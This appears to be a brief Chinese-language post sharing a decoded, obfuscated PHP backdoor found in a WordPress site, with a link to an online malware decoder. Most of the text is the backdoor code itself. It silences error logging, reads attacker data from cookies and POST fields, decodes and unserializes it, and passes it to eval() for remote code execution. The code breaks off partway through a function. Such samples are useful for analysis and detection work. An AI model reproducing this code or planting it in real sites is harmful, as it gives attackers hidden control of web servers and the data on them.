An encrypted backdoor code
代码解密:https://malwaredecoder.com/result/fc0d676e44b62985879f8f61a598df7a
一段后门代码:
wordpress
解密后的代码:
${"GLOBALS"}["sprbwloi"]="out_data";${"GLOBALS"}["wdkqegbts"]="key3";${"GLOBALS"}["redsobdgfw"]="key2";${"GLOBALS"}["cxvtsrcwr"]="n";${"GLOBALS"}["udwwxeinjs"]="c";${"GLOBALS"}["ctxgvqglvog"]="p";${"GLOBALS"}["sjhywnh"]="s";${"GLOBALS"}["rdhiivgrm"]="base64inv";${"GLOBALS"}["oimfwpbvs"]="i";${"GLOBALS"}["xefudwekqxr"]="base64chars";${"GLOBALS"}["jkoztogk"]="d";${"GLOBALS"}["jfdubfsy"]="a";${"GLOBALS"}["ppmuyvi"]="r";${"GLOBALS"}["fkmyqex"]="ak";${"GLOBALS"}["nviqphl"]="data";${"GLOBALS"}["qlymokfzoe"]="key";@ini_set("error_log",NULL);@ini_set("log_errors",0);@ini_set("max_execution_time",0);@set_time_limit(0);array_walk($_COOKIE,"enumerator");array_walk($_POST,"enumerator");function enumerator($value,$key){${"GLOBALS"}["wbnrdf"]="data";${"GLOBALS"}["xvswmtvyod"]="value";${${"GLOBALS"}["wbnrdf"]}=@unserialize(decode(get_params(${${"GLOBALS"}["xvswmtvyod"]}),${${"GLOBALS"}["qlymokfzoe"]}));@extract(${${"GLOBALS"}["nviqphl"]});if(isset(${${"GLOBALS"}["fkmyqex"]})){${"GLOBALS"}["kdccuutjccpn"]="r";${${"GLOBALS"}["kdccuutjccpn"]}=array();${"GLOBALS"}["jkblali"]="a";$dnyyrqcjhbg="r";${${"GLOBALS"}["ppmuyvi"]}["sv"]="1.0-3";$kwshfzxow="r";${$dnyyrqcjhbg}["pv"]=PHP_VERSION;if(ord(${${"GLOBALS"}["jfdubfsy"]})==105)echo@serialize(${$kwshfzxow});elseif(ord(${${"GLOBALS"}["jkblali"]})==101)eval(${${"GLOBALS"}["jkoztogk"]});}}function get_params($s){$egmozpvqw="c";$dvhtoerid="base64chars";${"GLOBALS"}["iaktaepzkolt"]="s";${${"GLOBALS"}["xefudwekqxr"]}="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";${"GLOBALS"}["udgmotllrqqy"]="r";$navmbtcm="p";$hbzvyvtkwl="p";$lksboqor="s";${"GLOBALS"}["ncdgqrusodb"]="base64inv";$pjitegq="s";${${"GLOBALS"}["ncdgqrusodb"]}=Array();${"GLOBALS"}["ahrcdhkljchf"]="s";${"GLOBALS"}["swzjdmmek"]="r";for(${${"GLOBALS"}["oimfwpbvs"]}=0;${${"GLOBALS"}["oimfwpbvs"]}